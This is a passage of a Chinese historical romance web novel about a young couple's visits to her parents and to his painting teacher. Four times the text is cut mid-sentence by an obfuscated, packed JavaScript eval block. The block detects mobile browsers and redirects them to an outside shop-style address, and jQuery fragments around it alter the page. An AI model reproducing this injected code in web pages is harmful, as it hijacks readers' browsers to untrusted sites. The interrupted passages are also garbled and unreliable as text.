好歹做了十来年的家人,纵使两人面上都装作若无其事的模样,他也一眼就瞧出二人吵架了,只不过碍于女婿在场,没有显露出来罢了。 但冯望川事后发现,或许她们并非是碍于女婿在场,而是碍于女婿与他都在场,二人才心照不宣装样子。 唉,好歹做了十来年的家人,不告诉女婿便罢,怎么也不告诉他? 可惜任冯望川再唉声叹气,也没能才秦舒那里问出她与女儿吵架的原委来,那似乎是妻子与女儿的一个秘密。 秦舒见冯望川一早都笑呵呵,叹息了声,这时,家中的侍女跑来禀话:“老爷夫人,娘子回来了。” 两人这才朝园外看去。 冯希真与崔其玉一进府门就先让仆从将带来的东西搬去正厅,而后由一个侍女引来此处花园中。 约莫三月不见,冯希真发现爹娘都瘦了些,爹大约是因为开春后得了场风寒,反复了半月之久。 她爹与她一样,一生病就没胃口吃东西,每每都要消瘦一圈,她娘倒是一向强壮,却不知怎么也瘦了,总不会是因为那时吵架一事罢? 冯希真觉得不像,但眼下还不是问这话的时候,眼下她好像还得先帮帮身旁这人,她娘正问他近日做了些什么。 秦舒问话时口吻自然,但她显然是明知故问,崔其玉能做些什么? 冯希真接过话答:“其玉那册山水图还没作完,近来正琢磨一幅《垂钓图》。” 她对外称呼崔其玉时不带姓,这话却非她胡诌,他们这位小公子虽是闲人,但闲人亦是有自个儿的事要做的,作画怎不算是做事呢? 冯望川听后朗笑声,道:“其玉作好后可要带来给爹瞧瞧。” 崔其玉忙应下,心想作画一事不可再耽搁了。 而冯望川接着就画的事问起崔其玉来:“其玉可认得那位齐修远先生,近来此人在京中可是赫赫有名。” 崔其玉听到这个名字,答说:“虽还未见过其人,但上个月回家时在父亲那儿见过他的一幅画。” “噢?如何?近来他可是名声大噪,画也千金难求。” 崔其玉似认真回想了番,微微蹙眉:“乍看颇有意境,但似乎又有些怪异。” “噢?此话怎讲?” 崔其玉便答不上来,面庞染上红晕,低声道:“小婿那日不曾细看。” 那时大哥也在,他便没心情仔细看那画,只是随意扫上几眼,便是那几眼就让它觉得有些怪异。 崔其玉说完有些懊恼,自觉方才不该说那后半句,说人家怪异却说不出哪里怪异,希真她们听去,可会觉得他是轻慢于人心胸狭隘之人? 可他现在补救为时已晚,崔其玉抿了抿唇,这般模样落到在场三人眼中,面面相觑番。 “……” 这位女婿可是太藏不住心事了些? 冯希真见状一笑,见他耳根绯红,忙岔开话说:“好了爹,我和娘都不认得什么其修远兮的,说他做什么?” 冯望川便笑呵呵道:“烹茶烹茶,今日我可是要与其玉比比分茶的。” 今日烹茶便是从捣茶团开始了,翁婿俩捣得起劲时,冯希真与她娘心照不宣地对视眼,而后便好不默契地起身,崔其玉因此扭头看去,冯望川则对他道:“其玉,你看我这茶碾有何不同?” 崔其玉转回注意,冯希真便与秦舒默不作声地走去亭外。 过年时,母女二人因争执不欢而散,今日见面后都没好生寒暄,这时绕着小园走了半圈,才停在假山旁一棵玉兰树下。 “钱你送去了?” 秦舒开门见山地问道,实则口吻笃定,不过语气不哪般重,毕竟距她们为这事吵架也过去三月光景了。 冯希真微微垂头,回答说:“嗯,初七过后就托人给他送去了。” 秦舒就知道她会这么做,唯有叹息声,问:“又送了多少?” “五十贯。” “五十贯!”秦舒压了压声,“寻常人一年也用不了这许多,你倒阔绰,缘由都不问清楚就这样给人钱。” “反正如今我有钱……”冯希真梗着脖子道,心想她还少说了三十贯呢。 “净学了你爹的臭毛病。” 秦舒自从家道中落后,便知钱财得来不易,一贯教导两个孩子不许大手大脚,不过儿子自幼留在京中由祖父教导,每每阳奉阴违,觉得她横竖管不着他。女儿倒是跟在身侧,可她这边刚教导了冯望川那头就开始教她千金散尽还复来的话。 她想到便是气,说罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377324|199749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿,又补充句,“如今还多了个崔其玉。” 这位比起冯望川来也不遑多让,偏教这么两个闲人撞到一处,也不知今后日子过成什么模样? 不过眼下不是数落崔其玉的时候,也不是在乎钱的时候,秦舒接着又一迭声问:“托的什么人?你可有书信给他?他收下钱可有再说什么?” “娘,哪有这般严重……”冯希真蹙眉道。 头回二人吵架便是因这事,而这事又要追溯到半年前,那时她还住在崔府中,约莫中秋过后,她收到封寄来崔府的书信,写着她亲启。 信是昔日在杭州时认得的一人传来,说家中遇到些事,想请娘子借她些钱,彼时她谁也没说,只拿自己的积蓄,托那送信人带了三十贯钱去,然而到过年前,又有信来,仍是说想借点钱。 三十贯钱已是许多人近一年的开销,这才时隔三月,又来借钱,冯希真不觉有些狐疑,可来信中又什么都没说。刚好是过年时,她遂等到回门那日,回家后与她娘说了此事,连同三个月前送钱那事也说了,然后她就教秦舒骂了顿。 倒不是因她散财的举动骂,而是觉得此举由她做,传出去后易教有心人编排,毕竟借钱那人与她年岁相仿,是个少年,若真有传言传出,不知要难听成什么样。 冯希真却觉她小题大做,说她用的是自己嫁妆钱,又不是用夫家的。 秦舒便气道:“谁管你用的什么钱,说你养男人便是养男人,谁会管顾你的名声?当初换那婚约时已有不少人笑话于你,都是看在崔家的面上才不说这话,若借钱这事再传开,到时候损的可不止你的名声,甚至崔家都受牵连,谁还会顾着你的颜面?” 名声名声,彼时冯希真一听这话就升起些脾气,犟嘴道:“若崔家人真信了这些话,大不了就一拍两散,和离便是。” 说完就要朝外头去,还是秦舒按下火气叫住她:“等等——且不说这事,你只说他借这么多钱做什么?连个缘故都不告诉你,也就你肯傻乎乎往外借,他若是拿这钱赌博或是做别的什么营生,你这便是助纣为虐,更休提他若贪得无厌,此后以此威胁你,便后患无穷。” 她娘总是这般多顾虑,冯希真懒得和她顶嘴,便说:“若是这回给了他,他还要借,我定会问清缘由的。” “这回的事还没了,你就考虑起下回来,你要我说你什么好?” 上回两人便是这般不欢而散的,所以今日一见秦舒才问一连串问题。冯希真知晓她又是在考虑她的名声,只觉得她又在殚精竭虑。 秦舒却瞪她:“老实说来。” 冯希真只好答了她那串疑问:“还是交给那传信之人,只给了钱,没有书信,后来他也只回了封信谢我。” 她那时回去后想着她娘的话,便觉得也许还是不要留下书信比较好,遂只封了些钱托人带回,但她头回给钱时已然传过一封信…… “就这样?”秦舒问。 冯希真一时有些不敢看她娘,但端得从容,点了点头。 秦舒狐疑眯觑起眼睛,最后只低声警告她:“真儿,你如今已自己当家,娘不能时时为你操劳,你做事要多为自己考量,凡是不利于己的,都要三思而后行……” 冯希真又点点头,许是教她娘的严肃感染,心底又隐隐生出些不安来。 7.〇七 两人用过午膳才离开冯府,回去路上,冯希真都还因早间和母亲的谈话有些心不在焉,坐在对面的崔其玉盯着她看上会儿,不禁出言问:“娘子又同娘吵架了吗?” 冯希真回神来,没想到他话里说了“又”字,她还当她和娘藏得挺好,至少头回吵架时他没有发现这事。 “没吵。” 她只回他两个字,崔其玉觉察到她不愿同她展开说,便默默耷拉下眼,安静不语。他也有些低落,一是为冯希真的冷落,二便是还在为早先评价齐修远画作一事而懊恼神伤。 两人坐在车上,一时没话说,回漪园后,门房的仆从贾二又递来封请柬,说是若风先生的仆从送来。 若风先生便是教崔其玉作画的师父,时人将其视作名士,若风是其自号,本名余益,致仕前乃是国子监祭酒,去年春日致仕后,便居于京郊一处别院里颐养天年,不时请亲朋好友前去小叙一番。 崔其玉七岁时,曾以一幅《猫戏图》得了余益青眼,彼时余益虽还只是个国子监博士,却已是世人眼中的大才,崔其玉的祖父崔言恺便安排他拜了师。 今日余益的请帖送来亦是邀崔其玉到乡间小叙,上回去见余益还是正月里去贺新年,那回冯希真随他同去过一次,故而崔其玉以为今日相邀,她也会答应同去,却不想今日冯希真回绝了他。 “你自己去罢,明日我还有事要做。” 口吻淡淡,崔其玉听后又抿了抿唇。 希真明日要做什么? 想到最近几日早间她都没像前些时日那样出门,崔其玉不免又有几分疑心,难道明日她又要出去见什么人吗? 但他分明已说好今后不再疑心她的,崔其玉自觉出尔反尔,又有些懊丧,而那头冯希真已自行前去看踏雪。 今日踏雪比前两日有精神些,青鹭说它伤口已愈合,只要看好踏雪,不许它舔舐伤处,再两日就能如闵娘子所说那般痊愈了,冯希真握着踏雪的手同它玩上会儿,又轻轻叹息声。 自从早间同她娘说过那些话后,她就总有些不安,只因她没有将全部实情都告诉她娘,而这事倘或真像她娘说的那样教人知晓,传出些风言风语,于她而言的确是无妄之灾。 忽地,她又想起几日前崔其玉跟踪她的事来。 他跟踪她,只是想知道她去见什么人吗?还是他已经见到什么人与她在一处?所以一向乖巧的人才会疑心于她么? 冯希真想上会儿,越发觉得烦躁,好久才反应过来这许是她来月事的征兆,每逢月事前后,她总是有那么些坏脾气。 这般想着,她放开踏雪回起居院中去。 崔其玉许是去准备明日去京郊的事,没在屋中,倒是他的猫卧云盘卧在罗汉榻上,这时听得有人进屋,卧云只抬眼看了看,见是她又悠悠趴回原处。 冯希真自幼就招猫狗喜欢,这只小家伙是她见过最不给面子的,这时不悦心起,坐去榻上就捞起它。 卧云的名字是崔其玉取的,竟意外与携月的名字呼应上,而携月的名字正是冯希真取的。 当初随冯望川回京时,她才十一岁左右,那时置办好宅邸后,秦舒也给她找来个贴身侍女,说在京中不比昔日在地方时,娘子们出门应当有个侍女作伴。 携月便是那个贴身侍女,那年也才十三,冯希真问她名字,她却说她自小没有名字,人叫三娘,冯希真便问能否给她取个新名字,三娘点点头,从此就叫作携月。 携月,携月。 携月长了十三年,得了个这般有意趣的名字,得色了好长时日,直到她们娘子成了亲,她认得一只猫叫卧云,携月便有些委屈。 倒不是委屈自己竟与猫像是同类,而是委屈自己活了十三年才有个像样名字,而这世间另有一些人家连猫都配有个好名字,但她也只得感叹句有钱人的把戏还真多。 眼下卧云教冯希真捞起,不满挣扎两下。 狮猫的长毛洁净顺滑,冯希真爱不释手地摸着,还问它:“摸你下怎么了?那日的鱼干还是我让人买回来的。” 当然,她不买它亦有鱼干吃,但她定是要卖这个人情的。 卧云仰面喵了声,异色猫瞳宛如两颗玛瑙,冯希真坐在窗边细看它,忍不住嘀咕:“倒真和你主人一般。” 好生漂亮。 正夸着它,忽有只胆大麻雀栖来窗畔,两只爪子抓握住窗框,朝屋内一叫,卧云不由得一惊,汗毛一竖喵上声,从冯希真手底下脱身时竟还伸出爪子挥了下,冯希真不由得吃痛缩回手。 它的猫爪修剪过,并不锋利,故而没有挠伤冯希真,但免不了还是在她手臂上留下几道红痕。冯希真本就心情不畅,这下便越发委屈,连同有几分生卧云的气。 好巧不巧,崔其玉就是在这时走回门外的,撞见卧云出来,将它抱到怀中,轻声问它:“怎么了?” 卧云叫了两声,崔其玉听不懂,只一面摸它脑袋一面抱它朝屋里走来。 冯希真只装作没瞧见一人一猫过来,取出那块还在上花的玉来。 当初她爹往家中搬回一套做玉雕的器具时,她娘与他置了好长时日的气,毕竟那东西既占地方,又耗时耗力,还危险易受伤,她娘委实不明白这中趣味所在,直到她爹做好第一件玉器送给她娘,她才勉强消了些气。 她倒从未卷入二人的争吵过,只是同她爹一样对这手艺痴迷。 她原以为成亲后没机会再碰,不想崔其玉在崔府的院里竟也有这么一套器具,她发现时喜形于色,问崔其玉她能不能用,崔其玉忙点点头,于是二人刚成亲不久就日日待在玉器房中,除了吃饭、睡觉、请父母安外,一步也不踏出院门。 一段时日后,崔其玉赠给她一只白玉手镯,而她琢的那只原本是要给自己的玉坠在他这般无私的举动下也就交给了他。 后来搬进漪园,这套琢玉的器具也跟他们搬来,如今安置在崔其玉书斋旁的院落中,不过像做上花这样的精细活时,冯希真在屋中就能做。 崔其玉抱着卧云,安静坐到她对面,全然忘记早间在冯家时他还决意回家后就接着作画一事,眼下只顾着盯着冯希真看。 她腕上戴着的正是那只他送她的白玉镯,这时她将袖摆卷在镯子下方,露出一截皓腕,崔其玉瞧上几眼后,才迟钝发现她右臂上有几道红痕。 他当即放下猫,伸手去牵冯希真的手,冯希真动作教他打断,抬眼瞪他:“做什么?” “娘子,你的手可是教踏雪给挠了?” 崔其玉知晓她方才去看了踏雪,以故第一时间怀疑到踏雪头上。 冯希真却教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386701|199749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一人一猫气笑,道:“少怪人家踏雪。” “那是——”崔其玉话未说完,打住,握着冯希真的手转头瞧了瞧榻上的白猫,卧云盘着尾巴端坐,好不高傲,一人一猫对视眼,他才说,“娘子,你等着。” 冯希真挑眉,等什么? 崔其玉说罢就起身朝外去,卧云见状跟着跳下榻,跟在他身后出去,冯希真便当真什么也不做地等着,稍等片刻就听见卧云喵喵叫起来。 声音越来越近,一人一猫再度进屋时,只见崔其玉手中正拿着支孔雀翎,正是卧云从小到大最喜爱的那根。 因有些年头,其上的翎毛都有些稀疏,但卧云平日里珍爱得不得了,睡觉时定要窝在孔雀翎边上,平日里谁碰那根羽毛它就同谁生气,而今崔其玉竟将它的宝贝从窝中捡了出来。 崔其玉坐回榻边,将孔雀翎忽上忽下、忽左忽右地移动,平日里好不高傲的一只懒猫都急得转圈,就这般捉弄会儿卧云,他才转头看冯希真,见她教这场景逗笑,便献宝似的要将孔雀翎递给她,也想让她试试。 冯希真却说:“我可不敢拿,我又不是你,这般捉弄它的话它便真该生气了。” 卧云分明偏爱主人,所以主人捉弄它它也不会生气,但若是旁人说不定真将它激怒。冯希真从前就捡到过不少猫狗养,知晓它们的习性,所以回绝了崔其玉好心教她报复卧云的机会。 崔其玉便趁势问:“那娘子还同它生气吗?” “我同一只猫生什么气?”冯希真教他逗得高兴些,便矢口否认先前怄气的事。 “那我便还给它?” 她无声点下头。 崔其玉终于将孔雀翎放下,卧云急忙将它捡起,衔在嘴里跑出去,生怕再教人夺走,崔其玉这才收回目光,望着冯希真问:“娘子,明日当真不同我去师父那儿么,也好散散心,如何?” 冯希真想了想,觉得趁月事来前出去玩一日也不错,便回心转意应下他。 这时因心情好了些,才想起来还有一事,便从怀中取出今日她娘写给她的礼单,道:“娘今日给我列了条礼单,是给章家小公子周岁宴的贺礼,你瞧瞧。” 崔其玉忙道:“娘子你做主便是。” 冯希真便佯怒道:“什么都我做主,你做什么?” “……” 崔其玉吃瘪,觉得她有些凶。 冯希真教他这副委屈模样逗笑,才接着说:“崔其玉,不能单你做个闲人,我也想做闲人。” 听她说自己是个闲人,崔其玉原有些心虚,但听到后半句,他心头忽而有些动容。也许希真不会嫌他是个闲人,因为她自己也想做个闲人。 他低眉接过她手中的礼单看,其上无非写着长命锁、金银镯与布老虎这些东西,他象征性看上几眼,才说:“既是娘定的,定不会有错,就按这单子准备罢。” 倒真还有几分做主的意思,冯希真忍不住笑了笑。 她笑起来时,眉眼会弯出个好看的弧度,崔其玉瞧见这笑,心跳蓦然快了些许,耳根也莫名有些发热。 “定下就好,那晚些时候就交给胡管事去置办。” 崔其玉只点点头。 冯希真抿唇一笑,接着低头拿起枚小勾砣来,他便托腮看她上花,直看到日暮黄昏…… 8.〇八 翌日一早,两人便坐上出城的马车,前去余益所在的城郊住宅。 今日不比前些日子晴好,早间起来竟有些飘雨,但昨日他们已经答复余益,崔其玉没有反悔,倒是对冯希真说不必同往,但冯希真觉得雨日出行亦有趣味,因而还是与之同往。 上回出城是二月花朝节时,那时冯希真是与程简和一同出游的,其时程简和还带着长媳陶如界,与别家女眷一同赏花踏春扑蝶,崔其玉则跟他父兄同行,郊游雅宴。 而今已是春暮夏初,行至城外,沿途所见花树都已凋零,生出绿叶,柳叶儿也由嫩黄转浓。 冯希真打起车帘观望,细雨斜飞扑面也不在意,等她看得够了才挪了挪身,正要取手帕擦擦脸颊,崔其玉就已送来他的手帕,但等她伸手去接,崔其玉却又收回几寸。 “……” 只见眼前人两眼清亮,神情有些跃跃欲试:“我替娘子擦,可好?” “……” 冯希真没说话,只将脸转向他,轻轻扬起面庞来。 她平素懒散,尤其不爱施粉敷面,只有一些要紧场合才搽上妆粉,平日里她只偶尔抹下口脂。 崔其玉对着她素净的脸颊,脸面又微微有几分红,一面小心翼翼用帕子擦干她脸上的水迹,一面还颇有心机地用手指指节轻轻擦过她面庞。 肌肤相触,短暂到令人生疑。 冯希真嘴角忍不住上扬,眯眼问他:“崔其玉,你故意的吗?” 此人的心机实在太浅,真不知他爹娘那样聪明的人是怎样生下他这么纯良的儿子的。 崔其玉不想她竟戳穿他,当下有几分害臊地将手帕收起,装作无事发生。 冯希真也不知为何,她一见他这模样就觉好笑,许是因为一张原本漂亮得让人生羡的脸竟生生教他作得有几分窝囊相罢。 念及此,她忍不住也伸出食指碰了碰他的面颊,崔其玉蓦地一惊,像只受惊的小兽,两只眼定定看着她,安静又纯良。 “崔其玉,你还真好玩。” 他不懂她何出此言,但觉得这话听来古怪,他原是一人,希真作何会说他好玩? 崔其玉只眨了眨眼睛,盯着她笑吟吟的模样看。 笑眼弯弯,唇角上扬。好可爱。 他看上许久,好若受到什么牵引般,一只手忽地轻托起她下颌,缓缓低下头颅,朝她靠近。 觉察到他想做些什么,冯希真眼眸忽闪下,当机立断抬起一只手挡住他靠近的唇。 动作很轻,冯希真只觉得指尖柔软得不像话,不由得回想起前几日的夜里,他就曾用手抚摸她的唇。 崔其玉因她制止,顿了顿,冯希真下一刻便顺势将他推开些,他便心虚几分,与此同时也有几分低落。 希真不想同他亲吻。 那她若是知晓前几日他偷亲过她,定会生气罢? 约莫是觉察到眼前人的失落,冯希真心头也浮起些不明的情绪来。 她喜欢崔其玉乖巧的模样,但近日他试探得似乎太多,那种好像一定要从她这里索取些什么的模样又令她有些许警惕。 他想要什么?若她真纵容他索求,到最后她当真能满足他吗? 冯希真想,这约莫便是她脾性里来自她娘的一部分。 车上的氛围一时间冷了下来,冯希真感觉到崔其玉的情绪,想寻些话说,可搜肠刮肚也不知什么样的话能缓和眼下的僵滞,除非,除非由她来做先前崔其玉想做但未做完的事,可那样的话,她拦下他的意义又何在? 冯希真索性一语不发,只转过眼安坐。 不多时,马车便穿越农田,在一处临江的茅庐小院前停下。 这里自然不是余益的别院,他老人家的别院是处开阔宅院,有家丁护卫,但他平日偏爱住在这间茅院中,临江而居,悠然自得。其号若风,与他的姓氏连起来便是“余若风”,可见其向往自在。 此处虽是茅庐,却也有名,余益将这里唤作雪庐,因他选中这小院那日大雪覆庐。 下车时崔其玉在前,接过车夫撑开的伞,转身迎冯希真下车,冯希真瞧见他伸出的手,到底还是将手搭在其上,任由他牵住。 二人来雪庐很是随意,没带什么礼,只带来昨日嘱人去沽的一小坛酒,余益好饮酒,连院中的亭子底下都有几坛酒放着。 细雨还飘着,柴扉未闭,崔其玉便径直带着人进院里去,刚巧,屋中一人支起窗,见到二人,叫道:“呀,来了。” 此人正是余益的夫人,元山晴。事实上,若按年纪算辈分,崔其玉与夫妻俩隔着两辈才是,当年他祖父要他拜余益为师,倒是给崔其玉抬了下辈份,如今他唤作师兄的人还与崔绍是同辈。 故而崔其玉以往叫元山晴师娘时,她都怪不好意思,只让他叫她元夫人,冯希真如今也跟着崔其玉这样称呼她。 贺年时,冯希真去的是余益的别院,这雪庐倒还是头回来,这时两人在夫妻俩的招呼下坐至屋中。屋中虽简陋,但前后都有门窗,即使今日下雨也很亮堂。 余益见崔其玉带来一小坛酒,嗅了嗅,道:“嗯,这回是廖宅园子的飞光,可猜对了?” 这是余益最喜做的游戏,他好酒,自称能辨出京中几大酿酒坊中的所有酒,于是每回有人给他带酒来他都要先猜一番。 这时他猜完,崔其玉点点头:“猜对了。” 余益大笑,他这个小徒儿自幼乖巧,不像其他人那样不老实,就算他猜对了也要故意说不对,当然,他若真猜错了,他这小徒儿也会老老实实摇头,说不对。 他笑罢收起酒来,说道:“可惜了,今儿不喝这酒,叫你们来原是想要你们品品我的手艺。” 说罢起身,将这坛酒带到角落的柜上,又从其上另外取来一坛酒,元山晴这时道:“你们师父啊,如今光饮酒不够,也自个儿偷偷摸摸学着酿起酒来。” “夫人哪里的话,怎么能叫偷偷摸摸?不告诉人原是想给人些惊喜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392902|199749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余益将酒取来,一边斟酒一边对崔其玉说:“这可是你师父我酿的头一坛酒,你们来前,只有我几个老友喝过,连你两位师兄都不曾用过。” 酒倾倒至杯盏中,酒香溢出,冯希真先观那酒色,再嗅了嗅,便笑着抬头:“师父这酿的可是桑葚酒?” 余益诧异:“噢?老夫还没来得及问,倒教人先说破了。” “罪过罪过。”冯希真笑吟吟道,“只是觉得这气味闻着熟悉,便先问师父了。” 余益自然不会因此生气,倒是问她:“希真常饮酒么?倒比我这一杯倒的徒儿强些。” 但冯希真摇摇头,说:“我酒量也不佳,只是我父亲也有些贪杯,尤其爱饮桑葚酒。”所以她对这酒的气味格外熟悉。 “原来如此,那今日你可得赏脸饮上些,这还是老夫用院中自个儿种的桑葚酿造的。” “那是自然,倒是我有口福了。” 二人说话时冯希真始终笑眼盈盈,与先前在车上时淡然的模样不同,崔其玉不禁有些落寞。 元山晴瞧见他这神情,倒是若有所思,关心问道:“其玉近来做了些什么?” 冯希真便转头看看崔其玉,他教几人盯着,这才答说:“只是同希真一起做些琐事。” 他在余益与元山晴面前说起琐事来比在岳父岳母面前说起这些事自在,他原本不在意世人如何瞧他,不过一旦与冯希真有关,他便要添几分忧虑。 他知道,原本该同她成亲的人不是他。 余益便听他说,便优哉游哉品酒,等他说完琐事后,便故作严肃姿态道:“好小子,这么说成亲后手艺也落下了,你那山水册要画到几时去?” “……” 冯希真从旁一笑:“师父放心,明日起我便督促他作画。” 崔其玉扭头看她笑,丝毫看不出适才在马车上的事于她而言有何影响,就好像他所在意的那些事于冯希真而言什么也算不上。 他心头闷闷的,她笑得越漂亮便越堵,索性端起酒盅猛灌一杯,而后便像是挨了一闷棍,不但心头闷,脑袋也透不过气来,忙偏过头去咳嗽。 “傻小子,哪有你这么饮酒的?”余益头回见他这般牛饮,瞪眼道。 冯希真也瞧见他端酒杯的豪迈之举,阻拦不及,这时就见他脸红到耳根处,忍不住也瞪他,还是元山晴先反应过来,斟了杯茶水端来。 崔其玉等那股酒劲儿从头顶下来,才红着脸接过茶盏,捧在手心说:“我只是尝尝看……” 冯希真不语,心底却大致猜到他在赌什么气,一时间也五味杂陈,说不清心头是什么滋味。 他的心思总是这般简单,这般明显,不单她看得明白,旁人定也看得明白。 所以,他要将他受的委屈都让旁人瞧见吗?他不过饮了杯酒就让在场人将全副注意落到他身上,他若真受了委屈,岂不是所有人都会关心他是如何受委屈的? 若不巧让他受委屈的就是她呢? 9.〇九 雨仍下着,但崔其玉已同余益冒雨出门去,他如今正好在作山水册中《垂钓图》一画,余益今日便趁落雨带人临江垂钓去。 出去前,老人家还特地给了崔其玉一身蓑笠穿戴上,冯希真隔着窗框望着人登舟,宛如见到幅烟雨濛濛的山水画。 她看得出神,元山晴从帘后出来时见到的便是这场景,当下笑呵呵走来窗边,坐下便问:“与其玉闹矛盾了么?” 冯希真转过目光来,元夫人笑意温和,一副关怀备至的模样,她想了想,答说:“不算是,也不要紧的。” 元山晴见她坦然,笑意更甚:“是不要紧,刚成亲的小两口能有什么要紧事,有什么话说开了便是。” 当初崔冯两家换婚约的事他们二老自然也都关心着,听闻崔其玉要与人订亲,她与余益这个做老师娘和老师父的不免有些忧心。 那时他才十六岁,此前家中人从未提过给他议亲的事,却因哥哥悔婚,冷不丁的嫂嫂变夫人,想必他会委屈才是,结果却不想,他们前去崔府看望他时见到的会是个高兴得藏都藏不住的小子,两人不禁面面相觑。 虽不知他为何这般高兴,但两人总算明白为何崔绍与程简和会做出这决定来。不过也对,若不是崔其玉自己愿意,他们又怎会将这门亲事安排给他,恐怕最后大公子真退了婚、崔府担下背信弃义的名声,他们也不会做此安排。 但冯希真听她这般说,想了想,并不觉得她心里的话能摊开说。 怎么和崔其玉说呢? 说她不喜欢他对她有所期待,不想满足他的希冀与索求,就像她对他没有过多期待与索求那样吗? 可为何要对他说这些?他们如今这样相处不就很好,她与他都过得都挺惬意不就好了吗?真说出来,反倒要生出嫌隙才是。 冯希真也不想面对那样的嫌隙。 对于此,她自己也没太想明白,但或许是因为她并不适合做一个与人结伴过日子的人,倘或可以,她更喜欢自己过日子,想做什么便做什么。 她想得有些远,一时间安静着,等她回神时才发现元山晴还打量着她,两人视线对上,元山晴才微微一笑,问:“希真,你觉得其玉这孩子如何?” 冯希真略加思索,斟酌出一个形容来:“很纯粹。” 但就像她话里说的那样,还像是个孩子。 元山晴便笑道:“的确,人都说画如其人,当初若风认他做学生,原是见到他作的一幅《猫戏图》,可没人知晓那幅画原是我先从那群蒙学生的画作里瞧见,挑选出来的。” 当初七岁的小孩凭一幅画得大家青眼,中间原来还夹着一人,冯希真听后抿唇一笑,说:“原来夫人您才是伯乐。” “伯乐我可不敢当,但我的确稀罕其玉这孩子,品行端正,没什么心眼,也没那些富家公子的脾性,不乖张霸道,实属难得,如今不过年纪小了些,等再过两年及冠,想必便该沉稳些。” 她夸了崔其玉一长串,冯希真笑问她:“夫人,你好似很担心我欺负他?” “这就冤枉了,只不过此前见过你数次,瞧得出你是个聪慧娘子,至少要比其玉稳重些,便忧心你或许看不上他,遂想同你多说些他的好话。” 元夫人说得恳切,真心可鉴。冯希真便收起打趣来,正色看她:“夫人您多虑了,我又怎会瞧不上他,其实我倒挺喜欢他的。” “你这娘子倒还真是坦率。” 两人关于崔其玉的话便说到此处,其后便是彼此问些生活上的事,比如住在乡间与住在城中的区别,又或者聊聊彼此爱吃些什么。元山晴听闻她曾在徽州呆过时,便更亲切,因她幼时也曾在那里呆过几年,便又分享起徽州往事来。 此前两人见过几次,但直到今日才多说了些话,说到兴致高时,元山晴便将余益珍藏的酒取来,一老一少便不客气地畅饮畅谈起来。 元山晴酒量早已锻炼出来,见冯希真爽快,便当她先前说酒量不佳的话只是托词,遂放心大胆地跟人喝,直到冯希真说话都颠三倒四起来时,她才觉察到不妥,可为时已晚,冯希真已经喝醉来。 老夫人不觉赧然,心道哪有她这样的长辈,竟将小辈喝得醉倒了,于是忙将酒收起来,自寻一把伞去屋外叫人回来。 小舟就泊在岸边,听闻这话后,崔其玉忙回屋中来,然后便见冯希真面颊通红趴在桌上,他上前去唤她:“娘子。” “夫人,再饮一杯!” “……” 元山晴与余益跟进屋中时就听见这么句,元山晴不由得清了清嗓子,正色问:“其玉,带希真到宅子里歇下么?还是回城中去?” 余益这时则嗅了嗅空气中的酒味,睁大眼,转身就去看他的酒,全然顾不上别的事,于是,在场四人里最稳重的反倒成了崔其玉,回绝了元山晴的邀请后,便先同二老告辞。 冯希真懒懒趴着,崔其玉将她打横抱起,元山晴撑着伞将人送回马车上,又歉然几句,等马车离开后才难为情扮了个鬼脸,折回屋中后就见老头子哀怨看着她。 “请人做客,哪有你这般小气的?”她正色直言。 余益哼哼道:“其玉与希真喝多少,你这老饕喝多少?还将小孩儿给灌醉了。” “你再说,今后我可真戒酒了。” 余益闭嘴,酒教人喝了虽心疼,但没人陪着饮酒亦是桩伤心事。 不过这时,他忽地哎呀了声,引得元山晴问他怎么回事,余益便摇头叹气:“忘记提醒那小子四月快到了,这小子定忘了这事。” “……” 是该提醒下的。 另一头,马车上冯希真迷迷糊糊靠在崔其玉肩头,马车不时轻轻颠簸下,令她不大舒服,她便往崔其玉怀中钻:“想回家。” “就快到了,已在回家路上。” 冯希真脑袋晕沉沉的,只说话,不接话,等到马车又颠簸阵,她才再度躁动不宁,嘟囔声:“我想回家。” 崔其玉便又用先前的话答她,但冯希真说:“我没有家。” “怎会没家?” 冯希真又不理他,只抱住他右臂,崔其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397096|199749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 